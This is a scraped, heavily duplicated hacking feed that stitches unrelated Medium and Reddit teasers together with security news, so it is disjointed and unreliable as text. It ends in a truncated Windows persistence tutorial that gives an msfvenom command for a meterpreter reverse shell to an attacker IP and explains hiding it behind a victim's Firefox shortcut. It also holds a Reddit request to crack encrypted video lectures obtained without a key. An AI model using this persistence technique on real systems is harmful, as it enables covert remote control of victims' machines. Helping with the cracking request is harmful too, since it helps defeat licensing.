Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.Continue reading on Medium » (https://medium.com/@interc3pt3r/on-the-way-to-2nd-bounty-b450c9369006?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
On the way to 2nd Bounty.
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.
Hacking on Medium
Hacking Knowledge: Tips on How to Learn Faster, Deeper, and Better.
While we as a whole might follow our own exceptional interests in a lifetime, the mission for reason through personal growth and…
Continue reading on Medium »
Hacking Knowledge: Tips on How to Learn Faster, Deeper, and Better.
While we as a whole might follow our own exceptional interests in a lifetime, the mission for reason through personal growth and…
Continue reading on Medium »
Medium
Hacking Knowledge: Tips on How to Learn Faster, Deeper, and Better.
While we as a whole might follow our own exceptional interests in a lifetime, the mission for reason through personal growth and…
Hacking on Medium
On the way to 2nd Bounty.
https://cdn-images-1.medium.com/max/816/1*UyLUrEMuhusIG85iQ-n-7Q.png
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.
Continue reading on Medium »
On the way to 2nd Bounty.
https://cdn-images-1.medium.com/max/816/1*UyLUrEMuhusIG85iQ-n-7Q.png
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.
Continue reading on Medium »
Medium
On the way to 2nd Bounty.
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.
On the way to 2nd Bounty.
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.Continue reading on Medium »
Read more...
Hello readers, in this post, we’ll look at XSS and Apache Server furthere on apache server I will post another article.Continue reading on Medium »
Read more...
Facing Issues with Nuclei upgrade??
Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0…Continue reading on Medium »
Read more...
Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0…Continue reading on Medium »
Read more...
Facing Issues with Nuclei upgrade??
Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0…Continue reading on Medium »
Read more...
Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0…Continue reading on Medium »
Read more...
Facing Issues with Nuclei upgrade??
https://medium.com/@vnktsaiteja/facing-issues-with-nuclei-upgrade-430bd4d56a45?source=rss------bug_bounty-5
https://medium.com/@vnktsaiteja/facing-issues-with-nuclei-upgrade-430bd4d56a45?source=rss------bug_bounty-5
Few weeks back, I too faced the same situation. Tried multiple ways to upgrade my Nuclei version but it just got stuck at version 2.2.0…Continue reading on Medium » (https://medium.com/@vnktsaiteja/facing-issues-with-nuclei-upgrade-430bd4d56a45?source=rss------bug_bounty-5)
Specifically, there is a free game called "She Will Shoot". It seems like a cool game and I'd really enjoy playing it, if it weren't for the really loud, terrible music that plays throughout the game. There are no options for turning the music off. I looked in the game folder, there are no music files. I was hoping someone here would have an idea how to disable the music? https://store.steampowered.com/app/1753790/She_Will_Shoot/
https://preview.redd.it/bdgxqzhoapk81.jpg?width=460&format=pjpg&auto=webp&s=48f26ad660333e71ed83b7f56f535161f302ca27
submitted by /u/YAFONOOB
[link] [comments]
https://preview.redd.it/bdgxqzhoapk81.jpg?width=460&format=pjpg&auto=webp&s=48f26ad660333e71ed83b7f56f535161f302ca27
submitted by /u/YAFONOOB
[link] [comments]
hacking: security in practice
Crack vid lectures
Hello all Can someone please help me in the video lectures? Ideally it is run through content browser, in which serial key is to be given (which i dont have) But i have somehow managed to get the video lecture, but they are encrypted.
Can anyone please please help me.
I can give you the link of the lectures...
submitted by /u/Born_Night_8797
[link] [comments]
Crack vid lectures
Hello all Can someone please help me in the video lectures? Ideally it is run through content browser, in which serial key is to be given (which i dont have) But i have somehow managed to get the video lecture, but they are encrypted.
Can anyone please please help me.
I can give you the link of the lectures...
submitted by /u/Born_Night_8797
[link] [comments]
reddit
Crack vid lectures
Hello all Can someone please help me in the video lectures? Ideally it is run through content browser, in which serial key is to be given (which...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Teen who tracked Elon Musk's plane launches Russian Oligarch Jets account
https://external-preview.redd.it/SD5u13N9wuPuRzNsOQN0dF2la-KejUtGlwqzYeXxVbQ.jpg?width=640&crop=smart&auto=webp&s=35fee1002bc3086d192cd140b346ad634cff9c26 submitted by /u/rooster_gang
[link] [comments]
Teen who tracked Elon Musk's plane launches Russian Oligarch Jets account
https://external-preview.redd.it/SD5u13N9wuPuRzNsOQN0dF2la-KejUtGlwqzYeXxVbQ.jpg?width=640&crop=smart&auto=webp&s=35fee1002bc3086d192cd140b346ad634cff9c26 submitted by /u/rooster_gang
[link] [comments]
hacking: security in practice
Hackers cracked a database tracking Russian convoys/aircraft. XTrace (Russian Firm) data dump by hackers for Ukraine (AgainstTheWest)
submitted by /u/QuestionableDementia
[link] [comments]
Hackers cracked a database tracking Russian convoys/aircraft. XTrace (Russian Firm) data dump by hackers for Ukraine (AgainstTheWest)
submitted by /u/QuestionableDementia
[link] [comments]
reddit
Hackers cracked a database tracking Russian convoys/aircraft....
Posted in r/hacking by u/QuestionableDementia • 4 points and 1 comment
Hacking on Medium
Terms on Networking and Devices
https://cdn-images-1.medium.com/max/1200/0*b1MR72Ipr5WO4G6d
hub is a node that broadcasts data to every computer or Ethernet-based device connected to it.They
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Terms on Networking and Devices
https://cdn-images-1.medium.com/max/1200/0*b1MR72Ipr5WO4G6d
hub is a node that broadcasts data to every computer or Ethernet-based device connected to it.They
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Medium
Terms on Networking and Devices
hub is a node that broadcasts data to every computer or Ethernet-based device connected to it.They operate by forwarding packets across all…
Hacking on Medium
Chocolate Factory — Try Hack Me
https://cdn-images-1.medium.com/max/839/1*epfhswU2eAcU1n82NBruVQ.png
Welcome to Willy Wonka’s Chocolate Factory! Were back with another beginner friendly room from Try Hack me. The objective is for us to…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Chocolate Factory — Try Hack Me
https://cdn-images-1.medium.com/max/839/1*epfhswU2eAcU1n82NBruVQ.png
Welcome to Willy Wonka’s Chocolate Factory! Were back with another beginner friendly room from Try Hack me. The objective is for us to…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Medium
Chocolate Factory — Try Hack Me
Welcome to Willy Wonka’s Chocolate Factory! Were back with another beginner friendly room from Try Hack me. The objective is for us to…
Hacking on Medium
Ukraine creates ‘IT army’ to hack Russian websites amid military operations
https://cdn-images-1.medium.com/max/600/0*P-dCnQxuOa3uhvTa
Facing massive cyber-attacks from Russia-sponsored threat actors, Ukraine has now assembled an ‘IT army’ tasked with specific cyber…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Ukraine creates ‘IT army’ to hack Russian websites amid military operations
https://cdn-images-1.medium.com/max/600/0*P-dCnQxuOa3uhvTa
Facing massive cyber-attacks from Russia-sponsored threat actors, Ukraine has now assembled an ‘IT army’ tasked with specific cyber…
Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖
Medium
Ukraine creates ‘IT army’ to hack Russian websites amid military operations
Facing massive cyber-attacks from Russia-sponsored threat actors, Ukraine has now assembled an ‘IT army’ tasked with specific cyber…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Windows Persistence: Shortcut Modification (T1547)
IntroductionAccording to MITRE, “Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.”<o:p
Shortcut modification is a technique in which an attacker can replace the absolute path of an executable bound to be run by a shortcut and masquerade it as a legitimate looking icon which can be run on startup thus achieving persistence. In this article, we will look at two such easy techniques that can help a user gain persistence using this technique.<o:p
MITRE TACTIC: Privilege Escalation (TA0004) and Persistence (TA0003)<o:p MITRE TECHNIQUE ID: T1547 (Boot or Logon Autostart Execution)<o:pSUBTITLE: PE Injection (T1547.009)<o:p<o:pTable of content<o:p· Background<o:p· PERS1 - Manual shortcut modification + reverse shell<o:p· PERS2 - Manual shortcut modification + Powershell One Liner<o:p· PERS3 - Shortcut modification using SharPersist.exe<o:p· PERS4 - Shortcut creation and NTLM hash compromise<o:p· Conclusion<o:p<o:p Background<o:pA window’s shortcut file ends with *.LNK extension and contains the absolute path of an executable which could be run using this shortcut. Shortcuts have been used for attacks by adversaries since the time 50 cents was at peak and so was unawareness about cyber security. One such example includes malware propagation by CDs and DVDs used in public internet cafes which often contained malicious shortcuts. In modern windows systems, LNK files are able to run a plethora of files including exe, cmd, vbs, powershell etc. Now, an attacker can create a new shortcut with powershell script embedded or can modify an existing shortcut for stealthier attacks. In this article, we talk about such approaches.<o:p
<o:p PERS1 - Manual Shortcut Modification + reverse shell<o:pTo start with the exploitation, we first need to set up the payload we would run upon system startup. I created a meterpreter payload using msfvenom.<o:p msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjDLFUugGxrs6qpSZD8kDNx8FJzDOnDgjpVPTXngnhIUt4arKsRydz3cHqWMtc1CYZi2HJ1teDUiiXvnshMdf_B-XNv3n-T_0oWitbNsCk_iJLts3I3BkpJC_Ogt0fHqkcmnl9Ha8YmndzZCMwtQxDnWStEPEGy_9N8oKv5m1gWcsKxmF-J6-uDr5JXBw=s16000 Now that it is ready, we can move on with persistence method 1. Here, we are assuming that we have compromised the system and already have RDP to the server or any other protocol that lets us view the GUI of victim. On the victim’s desktop, we found a firefox shortcut.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgsQk_A1P2s3cOKlQT5_gxIqiX72sOLZvuPnc9FHwQpQXaz69Y2D96-b3CE7p5FHU01HwWdACl3KY3hj4-oRDLSntpfjEsmNqXCOwc5nt3rPjhR9eIOEOImOxHtolJJyrxtJ0GJ7ke8Y0Eocy8p6-_ehV8PrnIwWwBiu7JolRYxxte4w-AFycnqIaCyHg=s16000 As you can see, target field in the shortcut is set to run firefox executable. We simply need to switch it with a command of our own. In this case, I’ll be running my reverse shell by supplying in the path of the shell.exe file. Plus, we’ll start this in minimized mode so that it’s a bit more stealthy.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiJk1q1El-hVE-lBxI0PpnAftYfBD25Sd_Yn7p_DfrhSMC5CsFVYYJbQn7C4Stp0m7IkMk-S8OrdR6S_g5_FvhfAvP-_Qq5Ir_afyG9K-PiFDVrduidOgPxot7JSbb1mIBWhJqTuKFV2keyIEEIY_coB1pkBfpbGPPml7Hw2De9voxSEdYG3iD2QA4N0w=s16000 But as you may have noticed, the icon has been changed. To re[...]
Windows Persistence: Shortcut Modification (T1547)
IntroductionAccording to MITRE, “Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.”<o:p
Shortcut modification is a technique in which an attacker can replace the absolute path of an executable bound to be run by a shortcut and masquerade it as a legitimate looking icon which can be run on startup thus achieving persistence. In this article, we will look at two such easy techniques that can help a user gain persistence using this technique.<o:p
MITRE TACTIC: Privilege Escalation (TA0004) and Persistence (TA0003)<o:p MITRE TECHNIQUE ID: T1547 (Boot or Logon Autostart Execution)<o:pSUBTITLE: PE Injection (T1547.009)<o:p<o:pTable of content<o:p· Background<o:p· PERS1 - Manual shortcut modification + reverse shell<o:p· PERS2 - Manual shortcut modification + Powershell One Liner<o:p· PERS3 - Shortcut modification using SharPersist.exe<o:p· PERS4 - Shortcut creation and NTLM hash compromise<o:p· Conclusion<o:p<o:p Background<o:pA window’s shortcut file ends with *.LNK extension and contains the absolute path of an executable which could be run using this shortcut. Shortcuts have been used for attacks by adversaries since the time 50 cents was at peak and so was unawareness about cyber security. One such example includes malware propagation by CDs and DVDs used in public internet cafes which often contained malicious shortcuts. In modern windows systems, LNK files are able to run a plethora of files including exe, cmd, vbs, powershell etc. Now, an attacker can create a new shortcut with powershell script embedded or can modify an existing shortcut for stealthier attacks. In this article, we talk about such approaches.<o:p
<o:p PERS1 - Manual Shortcut Modification + reverse shell<o:pTo start with the exploitation, we first need to set up the payload we would run upon system startup. I created a meterpreter payload using msfvenom.<o:p msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjDLFUugGxrs6qpSZD8kDNx8FJzDOnDgjpVPTXngnhIUt4arKsRydz3cHqWMtc1CYZi2HJ1teDUiiXvnshMdf_B-XNv3n-T_0oWitbNsCk_iJLts3I3BkpJC_Ogt0fHqkcmnl9Ha8YmndzZCMwtQxDnWStEPEGy_9N8oKv5m1gWcsKxmF-J6-uDr5JXBw=s16000 Now that it is ready, we can move on with persistence method 1. Here, we are assuming that we have compromised the system and already have RDP to the server or any other protocol that lets us view the GUI of victim. On the victim’s desktop, we found a firefox shortcut.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgsQk_A1P2s3cOKlQT5_gxIqiX72sOLZvuPnc9FHwQpQXaz69Y2D96-b3CE7p5FHU01HwWdACl3KY3hj4-oRDLSntpfjEsmNqXCOwc5nt3rPjhR9eIOEOImOxHtolJJyrxtJ0GJ7ke8Y0Eocy8p6-_ehV8PrnIwWwBiu7JolRYxxte4w-AFycnqIaCyHg=s16000 As you can see, target field in the shortcut is set to run firefox executable. We simply need to switch it with a command of our own. In this case, I’ll be running my reverse shell by supplying in the path of the shell.exe file. Plus, we’ll start this in minimized mode so that it’s a bit more stealthy.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiJk1q1El-hVE-lBxI0PpnAftYfBD25Sd_Yn7p_DfrhSMC5CsFVYYJbQn7C4Stp0m7IkMk-S8OrdR6S_g5_FvhfAvP-_Qq5Ir_afyG9K-PiFDVrduidOgPxot7JSbb1mIBWhJqTuKFV2keyIEEIY_coB1pkBfpbGPPml7Hw2De9voxSEdYG3iD2QA4N0w=s16000 But as you may have noticed, the icon has been changed. To re[...]